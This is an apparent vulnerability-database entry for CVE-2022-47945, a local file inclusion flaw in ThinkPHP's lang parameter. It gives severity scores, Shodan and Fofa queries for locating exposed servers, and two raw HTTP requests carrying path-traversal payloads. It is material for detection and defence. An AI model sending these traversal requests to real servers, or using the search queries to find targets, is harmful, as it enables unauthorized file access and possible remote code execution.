🔙 목록으로 돌아가기

CVE-2022-47945: Thinkphp Lang - Local File Inclusion

TitleThinkphp Lang - Local File Inclusion
Authorkagamigawa
SeverityCritical
ImpactThis vulnerability can lead to unauthorized access, data leakage, and remote code execution.
RemediationApply the latest security patches and updates provided by the Thinkphp framework.
CVSS Score9.8
EPSS Score0.89889
CVE IDCVE-2022-47945
CWE IDCWE-22
Shodan Querytitle:"Thinkphp"http.title:"thinkphp"cpe:"cpe:2.3:a:thinkphp:thinkphp"
Fofa Queryheader="think_lang"title="thinkphp"
Tags cve cve2022 thinkphp lfi vkev vuln

🔍 Vulnerability Description

ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.

🌐 HTTP Request

GET /?lang=../../thinkphp/base HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47945.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-47945.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A